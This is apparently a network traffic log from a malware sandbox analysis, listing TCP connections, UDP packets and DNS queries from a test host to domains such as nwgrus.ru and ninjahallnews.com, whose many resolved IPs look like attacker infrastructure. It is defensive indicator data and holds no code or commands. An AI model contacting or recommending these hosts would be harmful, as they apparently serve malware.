Oct 8, 2024 18:25:16.988106012 CEST	80	61457	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:16.988181114 CEST	80	61457	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:17.848952055 CEST	80	61457	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:17.849551916 CEST	80	61457	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:17.849622011 CEST	61457	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:17.849659920 CEST	61457	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:17.855355024 CEST	80	61457	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:24.797197104 CEST	61458	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:24.806926012 CEST	80	61458	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:24.807038069 CEST	61458	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:24.807482958 CEST	61458	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:24.807482958 CEST	61458	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:24.816626072 CEST	80	61458	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:24.818721056 CEST	80	61458	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:25.693137884 CEST	80	61458	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:25.694004059 CEST	80	61458	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:25.694217920 CEST	61458	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:25.694217920 CEST	61458	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:25.699273109 CEST	80	61458	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:34.033742905 CEST	61459	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:34.039158106 CEST	80	61459	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:34.039233923 CEST	61459	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:34.039405107 CEST	61459	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:34.039423943 CEST	61459	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:34.045203924 CEST	80	61459	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:34.045218945 CEST	80	61459	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:34.892144918 CEST	80	61459	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:34.893682957 CEST	80	61459	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:34.893758059 CEST	61459	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:34.893811941 CEST	61459	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:34.901201963 CEST	80	61459	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:45.759537935 CEST	61461	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:45.764710903 CEST	80	61461	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:45.764801979 CEST	61461	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:45.764981985 CEST	61461	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:45.765023947 CEST	61461	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:45.770323038 CEST	80	61461	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:45.770761967 CEST	80	61461	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:46.637793064 CEST	80	61461	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:46.638077021 CEST	80	61461	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:46.638195992 CEST	61461	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:46.638284922 CEST	61461	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:46.643523932 CEST	80	61461	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:59.047194004 CEST	61462	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:59.052938938 CEST	80	61462	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:59.053018093 CEST	61462	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:59.053148985 CEST	61462	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:59.053181887 CEST	61462	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:59.058392048 CEST	80	61462	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:59.058746099 CEST	80	61462	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:59.860054970 CEST	61463	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:25:59.860146046 CEST	443	61463	23.145.40.168	192.168.2.6
Oct 8, 2024 18:25:59.860225916 CEST	61463	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:25:59.860506058 CEST	61463	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:25:59.860536098 CEST	443	61463	23.145.40.168	192.168.2.6
Oct 8, 2024 18:25:59.918047905 CEST	80	61462	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:59.919162035 CEST	80	61462	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:59.919254065 CEST	61462	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:59.919339895 CEST	61462	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:59.924757004 CEST	80	61462	160.177.223.165	192.168.2.6
Oct 8, 2024 18:26:00.449552059 CEST	443	61463	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:00.449712038 CEST	61463	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:00.466564894 CEST	61463	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:00.466610909 CEST	443	61463	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:00.467370033 CEST	443	61463	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:00.552275896 CEST	61463	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:00.552277088 CEST	61463	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:00.552489996 CEST	443	61463	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:01.029788971 CEST	443	61463	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:01.029874086 CEST	443	61463	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:01.029948950 CEST	61463	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:01.030179977 CEST	61463	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:01.030179977 CEST	61463	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:01.030205965 CEST	443	61463	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:01.030220985 CEST	443	61463	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:16.346054077 CEST	61464	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:16.351037025 CEST	80	61464	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:16.351138115 CEST	61464	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:16.351247072 CEST	61464	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:16.351275921 CEST	61464	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:16.356237888 CEST	80	61464	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:16.356323004 CEST	80	61464	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:16.707957029 CEST	61465	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:16.707998037 CEST	443	61465	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:16.708074093 CEST	61465	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:16.708373070 CEST	61465	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:16.708383083 CEST	443	61465	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:17.300792933 CEST	443	61465	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:17.300901890 CEST	61465	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:17.301983118 CEST	61465	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:17.301992893 CEST	443	61465	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:17.302676916 CEST	443	61465	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:17.303463936 CEST	61465	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:17.303488016 CEST	61465	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:17.303548098 CEST	443	61465	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:17.379561901 CEST	80	61464	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:17.380424023 CEST	80	61464	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:17.380496979 CEST	61464	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:17.380541086 CEST	61464	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:17.385477066 CEST	80	61464	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:17.815597057 CEST	443	61465	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:17.815695047 CEST	443	61465	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:17.815781116 CEST	61465	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:17.815846920 CEST	61465	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:17.815870047 CEST	443	61465	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:17.815882921 CEST	61465	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:17.815891027 CEST	443	61465	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:35.185826063 CEST	61466	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:35.190865993 CEST	80	61466	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:35.190962076 CEST	61466	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:35.191060066 CEST	61466	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:35.191082001 CEST	61466	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:35.196249962 CEST	80	61466	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:35.196309090 CEST	80	61466	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:36.031562090 CEST	61467	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:36.031681061 CEST	443	61467	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:36.031771898 CEST	61467	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:36.032071114 CEST	61467	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:36.032111883 CEST	443	61467	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:36.768918991 CEST	80	61466	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:36.768965006 CEST	80	61466	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:36.768992901 CEST	80	61466	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:36.769020081 CEST	80	61466	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:36.769052029 CEST	61466	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:36.769069910 CEST	61466	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:36.769069910 CEST	61466	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:36.769284964 CEST	61466	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:37.025470018 CEST	80	61466	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:37.025599003 CEST	61466	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:37.030239105 CEST	80	61466	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:37.618309021 CEST	443	61467	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:37.618436098 CEST	61467	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:37.620408058 CEST	61467	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:37.620424986 CEST	443	61467	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:37.621191025 CEST	443	61467	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:37.622060061 CEST	61467	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:37.622097969 CEST	61467	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:37.622236013 CEST	443	61467	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:37.988838911 CEST	443	61467	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:37.988929987 CEST	443	61467	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:37.988989115 CEST	61467	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:37.992449999 CEST	61467	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:37.992470026 CEST	443	61467	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:37.992490053 CEST	61467	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:37.992496967 CEST	443	61467	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:54.063692093 CEST	61469	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:54.069727898 CEST	80	61469	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:54.069921017 CEST	61469	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:54.070030928 CEST	61469	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:54.070061922 CEST	61469	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:54.075407982 CEST	80	61469	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:54.075443983 CEST	80	61469	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:55.069500923 CEST	80	61469	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:55.070358038 CEST	80	61469	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:55.070440054 CEST	61469	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:55.071645975 CEST	61469	80	192.168.2.6	190.249.249.14
Oct 8, 2024 18:26:55.076503992 CEST	80	61469	190.249.249.14	192.168.2.6
Oct 8, 2024 18:26:55.365998030 CEST	61470	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:55.366044998 CEST	443	61470	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:55.366126060 CEST	61470	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:55.366416931 CEST	61470	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:55.366426945 CEST	443	61470	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:56.005043983 CEST	443	61470	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:56.005121946 CEST	61470	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:56.006145954 CEST	61470	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:56.006151915 CEST	443	61470	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:56.006352901 CEST	443	61470	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:56.007095098 CEST	61470	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:56.007134914 CEST	61470	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:56.007152081 CEST	443	61470	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:56.524872065 CEST	443	61470	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:56.524969101 CEST	443	61470	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:56.525044918 CEST	61470	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:56.525190115 CEST	61470	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:56.525208950 CEST	443	61470	23.145.40.168	192.168.2.6
Oct 8, 2024 18:26:56.525219917 CEST	61470	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:26:56.525224924 CEST	443	61470	23.145.40.168	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 18:23:24.388371944 CEST	61041	53	192.168.2.6	1.1.1.1
Oct 8, 2024 18:23:25.392151117 CEST	61041	53	192.168.2.6	1.1.1.1
Oct 8, 2024 18:23:26.407597065 CEST	61041	53	192.168.2.6	1.1.1.1
Oct 8, 2024 18:23:26.750308037 CEST	53	61041	1.1.1.1	192.168.2.6
Oct 8, 2024 18:23:26.750391006 CEST	53	61041	1.1.1.1	192.168.2.6
Oct 8, 2024 18:23:26.750401974 CEST	53	61041	1.1.1.1	192.168.2.6
Oct 8, 2024 18:23:29.461184025 CEST	53	60404	162.159.36.2	192.168.2.6
Oct 8, 2024 18:23:30.641814947 CEST	49862	53	192.168.2.6	1.1.1.1
Oct 8, 2024 18:23:30.650778055 CEST	53	49862	1.1.1.1	192.168.2.6
Oct 8, 2024 18:23:33.239840984 CEST	63355	53	192.168.2.6	1.1.1.1
Oct 8, 2024 18:23:34.235874891 CEST	63355	53	192.168.2.6	1.1.1.1
Oct 8, 2024 18:23:35.235821962 CEST	63355	53	192.168.2.6	1.1.1.1
Oct 8, 2024 18:23:35.317315102 CEST	53	63355	1.1.1.1	192.168.2.6
Oct 8, 2024 18:23:35.318294048 CEST	53	63355	1.1.1.1	192.168.2.6
Oct 8, 2024 18:23:35.318507910 CEST	53	63355	1.1.1.1	192.168.2.6
Oct 8, 2024 18:24:19.663417101 CEST	60976	53	192.168.2.6	1.1.1.1
Oct 8, 2024 18:24:19.708350897 CEST	53	60976	1.1.1.1	192.168.2.6
Oct 8, 2024 18:26:15.947964907 CEST	61885	53	192.168.2.6	1.1.1.1
Oct 8, 2024 18:26:16.345263958 CEST	53	61885	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 18:23:24.388371944 CEST	192.168.2.6	1.1.1.1	0x2a83	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:25.392151117 CEST	192.168.2.6	1.1.1.1	0x2a83	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.407597065 CEST	192.168.2.6	1.1.1.1	0x2a83	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:30.641814947 CEST	192.168.2.6	1.1.1.1	0xbd58	Standard query (0)	18.31.95.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Oct 8, 2024 18:23:33.239840984 CEST	192.168.2.6	1.1.1.1	0xea0e	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:34.235874891 CEST	192.168.2.6	1.1.1.1	0xea0e	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.235821962 CEST	192.168.2.6	1.1.1.1	0xea0e	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:24:19.663417101 CEST	192.168.2.6	1.1.1.1	0x4d31	Standard query (0)	ninjahallnews.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:26:15.947964907 CEST	192.168.2.6	1.1.1.1	0x9d3a	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 18:23:15.670839071 CEST	1.1.1.1	192.168.2.6	0x4cdb	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:15.670839071 CEST	1.1.1.1	192.168.2.6	0x4cdb	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750308037 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		160.177.223.165	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750308037 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		58.151.148.90	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750308037 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		200.45.93.45	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750308037 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		211.168.53.110	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750308037 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		211.171.233.126	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750308037 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		116.58.10.60	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750308037 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		189.165.155.245	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750308037 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		190.249.249.14	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750308037 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		190.98.23.157	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750308037 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		109.98.58.98	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750391006 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		160.177.223.165	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750391006 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		58.151.148.90	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750391006 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		200.45.93.45	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750391006 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		211.168.53.110	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750391006 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		211.171.233.126	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750391006 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		116.58.10.60	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750391006 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		189.165.155.245	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750391006 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		190.249.249.14	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750391006 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		190.98.23.157	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750391006 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		109.98.58.98	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750401974 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		160.177.223.165	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750401974 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		58.151.148.90	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750401974 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		200.45.93.45	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750401974 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		211.168.53.110	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750401974 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		211.171.233.126	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750401974 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		116.58.10.60	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750401974 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		189.165.155.245	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750401974 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		190.249.249.14	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750401974 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		190.98.23.157	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:26.750401974 CEST	1.1.1.1	192.168.2.6	0x2a83	No error (0)	nwgrus.ru		109.98.58.98	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:30.650778055 CEST	1.1.1.1	192.168.2.6	0xbd58	Name error (3)	18.31.95.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Oct 8, 2024 18:23:35.317315102 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		160.177.223.165	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.317315102 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		58.151.148.90	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.317315102 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		200.45.93.45	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.317315102 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		211.168.53.110	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.317315102 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		211.171.233.126	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.317315102 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		116.58.10.60	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.317315102 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		189.165.155.245	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.317315102 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		190.249.249.14	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.317315102 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		190.98.23.157	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.317315102 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		109.98.58.98	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318294048 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		160.177.223.165	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318294048 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		58.151.148.90	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318294048 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		200.45.93.45	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318294048 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		211.168.53.110	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318294048 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		211.171.233.126	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318294048 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		116.58.10.60	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318294048 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		189.165.155.245	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318294048 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		190.249.249.14	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318294048 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		190.98.23.157	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318294048 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		109.98.58.98	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318507910 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		160.177.223.165	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318507910 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		58.151.148.90	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318507910 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		200.45.93.45	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318507910 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		211.168.53.110	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318507910 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		211.171.233.126	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318507910 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		116.58.10.60	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318507910 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		189.165.155.245	A (IP address)	IN (0x0001)	false
